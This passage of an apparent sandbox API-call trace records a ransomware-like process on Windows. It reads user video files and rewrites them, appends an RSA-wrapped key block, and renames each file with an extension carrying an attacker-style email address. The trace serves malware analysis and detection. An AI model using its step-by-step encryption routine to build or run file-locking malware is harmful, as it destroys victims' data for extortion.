dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9ec [0192.450] GetFileSizeEx (in: hFile=0x9ec, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=28318) returned 1 [0192.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6e9e) returned 0x2f89888 [0192.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6e9e) returned 0x2f90730 [0192.450] ReadFile (in: hFile=0x9ec, lpBuffer=0x2f89888, nNumberOfBytesToRead=0x6e9e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f89888*, lpNumberOfBytesRead=0x2e3f9b4*=0x6e9e, lpOverlapped=0x0) returned 1 [0192.452] SetFilePointer (in: hFile=0x9ec, lDistanceToMove=-28318, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.452] WriteFile (in: hFile=0x9ec, lpBuffer=0x2f90730*, nNumberOfBytesToWrite=0x6e9e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f90730*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6e9e, lpOverlapped=0x0) returned 1 [0192.452] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f89888 | out: hHeap=0x570000) returned 1 [0192.452] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f90730 | out: hHeap=0x570000) returned 1 [0192.452] SetFilePointer (in: hFile=0x9ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6e9e [0192.452] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.452] WriteFile (in: hFile=0x9ec, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.452] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0192.452] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0192.453] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0192.453] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0192.453] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="q7/Pq8QO8vPoSfKEc8iyc4OyNxC/eSrboNR4gMwMFqdDmE6v88rzcenShHnFfy+0\nyfoQcM0lual2muFLa5nDQfTTauuXZ8/uXtSRWj+Mpw/Wjr79Pcju5RahKpdYuyZo\nDgVWo+U3Ej+rCX6SpYFZdohCLChJ9UARdcp27xfm6023qyhUP+HVT9gofpkSg+mh\nk9J2HfO7geFhF6oVlb0NiMsHlZCznA4SpO5oZs8T1UHBGgDo07dt0JQCKQ7koqM3\n3arCt6T4x1wmW2u3PlKcvmMn2uK36MyaD9QsPhdewbs5qIt040qNTukhWWRDpwp9\nDWOmkCrk0CN1BIetEtLnMw==\n", pcchString=0x2e3f9a8) returned 1 [0192.453] WriteFile (in: hFile=0x9ec, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0192.453] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.453] WriteFile (in: hFile=0x9ec, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.453] CloseHandle (hObject=0x9ec) returned 1 [0192.453] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0192.453] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\iBNG27op_RuCL\\XPRuUeRYrM2_PLX.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\yqjbnk1ixcci\\ibng27op_rucl\\xpruueryrm2_plx.mkv"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\iBNG27op_RuCL\\XPRuUeRYrM2_PLX.mkv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\yqjbnk1ixcci\\ibng27op_rucl\\xpruueryrm2_plx.mkv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0192.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659f88 | out: hHeap=0x570000) returned 1 [0192.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0192.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f88f00 | out: hHeap=0x570000) returned 1 [0192.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f892f0 | out: hHeap=0x570000) returned 1 [0192.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65cd90 [0192.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656df8 [0192.455] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0192.455] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\iBNG27op_RuCL\\Cab_myA.swf", dwFileAttributes=0x80) returned 1 [0192.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65cf58 [0192.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x652490 [0192.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65cf58 | out: hHeap=0x570000) returned 1 [0192.456] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\iBNG27op_RuCL\\Cab_myA.swf" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\yqjbnk1ixcci\\ibng27op_rucl\\cab_mya.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9ec [0192.456] GetFileSizeEx (in: hFile=0x9ec, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=37861) returned 1 [0192.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x93e5) returned 0x2f89888 [0192.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x93e5) returned 0x2f92c78 [0192.456] ReadFile (in: hFile=0x9ec, lpBuffer=0x2f89888, nNumberOfBytesToRead=0x93e5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f89888*, lpNumberOfBytesRead=0x2e3f9b4*=0x93e5, lpOverlapped=0x0) returned 1 [0192.458] SetFilePointer (in: hFile=0x9ec, lDistanceToMove=-37861, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.458] WriteFile (in: hFile=0x9ec, lpBuffer=0x2f92c78*, nNumberOfBytesToWrite=0x93e5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f92c78*, lpNumberOfBytesWritten=0x2e3f9b4*=0x93e5, lpOverlapped=0x0) returned 1 [0192.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f89888 | out: hHeap=0x570000) returned 1 [0192.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f92c78 | out: hHeap=0x570000) returned 1 [0192.458] SetFilePointer (in: hFile=0x9ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x93e5 [0192.458] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.459] WriteFile (in: hFile=0x9ec, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.459] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0192.459] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0192.459] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0192.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0192.459] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="oIcmKDIrnDeGnNIMri6IqN8fa9rP+iH1aMtUPH9SSGe9h3kcrTZ8LG9HdAgPpWoV\n3txvRV4PxhO99n6R+1o/6J471BOLAfuCp6uxYlAAY7mGVO7jUCU4szWTtJLnmceu\npZsq/3GZEnk2Xbi3yDga1MwdKF4Xx4kaeJdNZR/CuAfpnKHcP1redXLvt0/FTYA8\nTGra+wuFT/xA8zrmRO2I9TumAl1gUMn9t0O9iWd7PmyKJCoxwKW1EW1cQnd/SeYz\nsEl5xjIZtaUW6TcH12niPh3gkdvs26qfdrvmj/oW9JpXfXGmZsJUFrAi/IaZE5zy\nNs/UkOWjhrpxGjPtVC/8dg==\n", pcchString=0x2e3f9a8) returned 1 [0192.459] WriteFile (in: hFile=0x9ec, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0192.459] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.459] WriteFile (in: hFile=0x9ec, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.459] CloseHandle (hObject=0x9ec) returned 1 [0192.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0192.460] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\iBNG27op_RuCL\\Cab_myA.swf" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\yqjbnk1ixcci\\ibng27op_rucl\\cab_mya.swf"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\iBNG27op_RuCL\\Cab_myA.swf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\yqjbnk1ixcci\\ibng27op_rucl\\cab_mya.swf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0192.461] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652490 | out: hHeap=0x570000) returned 1 [0192.461] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0192.461] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65cd90 | out: hHeap=0x570000) returned 1 [0192.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65ca00 | out: hHeap=0x570000) returned 1 [0192.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f889c0 [0192.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656df8 [0192.462] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0192.462] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\iBNG27op_RuCL\\Bs9XCZYYhCNz9ejd3.swf", dwFileAttributes=0x80) returned 1 [0192.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f88330 [0192.462] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6599b8 [0192.462] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f88330 | out: hHeap=0x570000) returned 1 [0192.462] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\iBNG27op_RuCL\\Bs9XCZYYhCNz9ejd3.swf" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\yqjbnk1ixcci\\ibng27op_rucl\\bs9xczyyhcnz9ejd3.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9ec [0192.462] GetFileSizeEx (in: hFile=0x9ec, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=18136) returned 1 [0192.463] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x46d8) returned 0x2f89888 [0192.463] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x46d8) returned 0x2f8df68 [0192.463] ReadFile (in: hFile=0x9ec, lpBuffer=0x2f89888, nNumberOfBytesToRead=0x46d8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f89888*, lpNumberOfBytesRead=0x2e3f9b4*=0x46d8, lpOverlapped=0x0) returned 1 [0192.464] SetFilePointer (in: hFile=0x9ec, lDistanceToMove=-18136, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.464] WriteFile (in: hFile=0x9ec, lpBuffer=0x2f8df68*, nNumberOfBytesToWrite=0x46d8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8df68*, lpNumberOfBytesWritten=0x2e3f9b4*=0x46d8, lpOverlapped=0x0) returned 1 [0192.464] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f89888 | out: hHeap=0x570000) returned 1 [0192.464] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8df68 | out: hHeap=0x570000) returned 1 [0192.464] SetFilePointer (in: hFile=0x9ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x46d8 [0192.464] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.465] WriteFile (in: hFile=0x9ec, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.465] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0192.465] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0192.465] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0192.465] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0192.465] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="kJYa5H9Xk6ecmOwP7I3k+S1tRLXs6D96zOgAtGbYYSgC3uFFmquNJOR3YJ5ZXu61\n2yHR7dYCVYNotw13guasWkTM6H4Qeu80olXvRikNVYaTt0mRPEV/SmO9ZyCS8N3O\nlWByrhsjxromvGTPNXhE4Yopq+NCcy1xWdp0A+RrCnii6rSn/BamKwCzyX8H+qgT\nE5zOIaxAjfEoyMKuoHMPLOcg2uHCMeetOZV5lqiTgAttIPS5kalNB0g78cOmrWKX\nH8xtcUtl8Z5G7qBoknuT/w3kw5eGilVMjSlUYx8ykakhQygOBRA/jFPwUYCCy3xa\nMP1ZHDTEUTx+IKdpcpmVIg==\n", pcchString=0x2e3f9a8) returned 1 [0192.465] WriteFile (in: hFile=0x9ec, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0192.466] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.466] WriteFile (in: hFile=0x9ec, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.466] CloseHandle (hObject=0x9ec) returned 1 [0192.466] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0192.466] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\iBNG27op_RuCL\\Bs9XCZYYhCNz9ejd3.swf" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\yqjbnk1ixcci\\ibng27op_rucl\\bs9xczyyhcnz9ejd3.swf"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\iBNG27op_RuCL\\Bs9XCZYYhCNz9ejd3.swf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\yqjbnk1ixcci\\ibng27op_rucl\\bs9xczyyhcnz9ejd3.swf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0192.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6599b8 | out: hHeap=0x570000) returned 1 [0192.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0192.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f889c0 | out: hHeap=0x570000) returned 1 [0192.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3688 | out: hHeap=0x570000) returned 1 [0192.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5c7cd0 [0192.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0192.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7170 | out: hHeap=0x570000) returned 1 [0192.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f88 | out: hHeap=0x570000) returned 1 [0192.468] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2980e2e0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86f28 [0192.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0192.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0192.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0192.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0192.468] GetLastError () returned 0x0 [0192.468] SetLastError (dwErrCode=0x0) [0192.468] GetLastError () returned 0x0 [0192.468] SetLastError (dwErrCode=0x0) [0192.468] GetLastError () returned 0x0 [0192.468] SetLastError (dwErrCode=0x0) [0192.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0192.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0192.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0192.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656df8 [0192.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f86a28 [0192.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f86a28 | out: hHeap=0x570000) returned 1 [0192.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405a0 [0192.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0192.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0192.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0192.469] FindNextFileW (in: hFindFile=0x2f86f28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2980e2e0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0192.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0192.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0192.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0192.469] GetLastError () returned 0x0 [0192.469] SetLastError (dwErrCode=0x0) [0192.469] GetLastError () returned 0x0 [0192.469] SetLastError (dwErrCode=0x0) [0192.469] GetLastError () returned 0x0 [0192.469] SetLastError (dwErrCode=0x0) [0192.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0192.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be3c8 [0192.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be3c8 | out: hHeap=0x570000) returned 1 [0192.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656df8 [0192.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f86a28 [0192.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f86a28 | out: hHeap=0x570000) returned 1 [0192.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0192.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0192.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0192.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0192.469] FindNextFileW (in: hFindFile=0x2f86f28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AdobeCMapFnt15.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0192.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0192.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0192.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0192.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0192.469] GetLastError () returned 0x0 [0192.469] SetLastError (dwErrCode=0x0) [0192.469] GetLastError () returned 0x0 [0192.469] SetLastError (dwErrCode=0x0) [0192.470] GetLastError () returned 0x0 [0192.470] SetLastError (dwErrCode=0x0) [0192.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0192.470] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0192.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0192.470] FindNextFileW (in: hFindFile=0x2f86f28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x24c57, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AdobeSysFnt15.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0192.470] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0192.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0192.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0192.470] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0192.470] GetLastError () returned 0x0 [0192.470] SetLastError (dwErrCode=0x0) [0192.470] GetLastError () returned 0x0 [0192.470] SetLastError (dwErrCode=0x0) [0192.470] GetLastError () returned 0x0 [0192.470] SetLastError (dwErrCode=0x0) [0192.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 